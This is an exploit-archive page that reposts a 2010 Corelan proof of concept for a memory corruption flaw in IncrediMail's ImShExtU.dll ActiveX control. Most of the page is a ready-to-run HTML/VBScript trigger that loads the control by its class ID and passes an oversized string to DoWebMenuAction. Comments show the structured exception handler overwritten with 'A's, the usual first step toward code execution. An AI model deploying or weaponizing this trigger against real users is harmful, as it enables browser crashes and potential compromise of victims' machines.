Home / os / win7

IncrediMail (ImShExtU.dll) ActiveX Memory Corruption

Posted on 15 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>IncrediMail (ImShExtU.dll) ActiveX Memory Corruption</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================================
IncrediMail (ImShExtU.dll) ActiveX Memory Corruption
====================================================

&lt;html&gt;
&lt;!--
        |------------------------------------------------------------------|
        |                         __               __                      |
        |   _________  ________  / /___ _____     / /____  ____ _____ ___  |
        |  / ___/ __ / ___/ _ / / __ `/ __    / __/ _ / __ `/ __ `__  |
        | / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |
        | \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |
        |                                                                  |
        |                                       http://www.corelan.be:8800 |
        |                                              security@corelan.be |
        |                                                                  |
        |-------------------------------------------------[ EIP Hunters ]--|
 
# Software      : Incredimail (ImShExtU.dll)
# Reference     : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-038
# Author        : Lincoln
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox)
# Type of vuln  : SEH
# Greetz to     : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
#0013F1A4   41414141  AAAA
#0013F1A8   41414141  AAAA
#0013F1AC   41414141  AAAA  Pointer to next SEH record
#0013F1B0   41414141  AAAA  SE handler
#0013F1B4   41414141  AAAA
#0013F1B8   41414141  AAAA
#
--&gt;
 
&lt;object classid='clsid:F8984111-38B6-11D5-8725-0050DA2761C4' id='target' &gt;&lt;/object&gt;
&lt;script language='vbscript'&gt;
 
 
crash=String(25000, &quot;A&quot;)
target.DoWebMenuAction crash
 
 
&lt;/script&gt;
&lt;b&gt;&lt;center&gt;IncrediMail ImShExtU.dll ActiveX Memory Corruption&lt;/b&gt;&lt;/center&gt;
&lt;/html&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-15]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :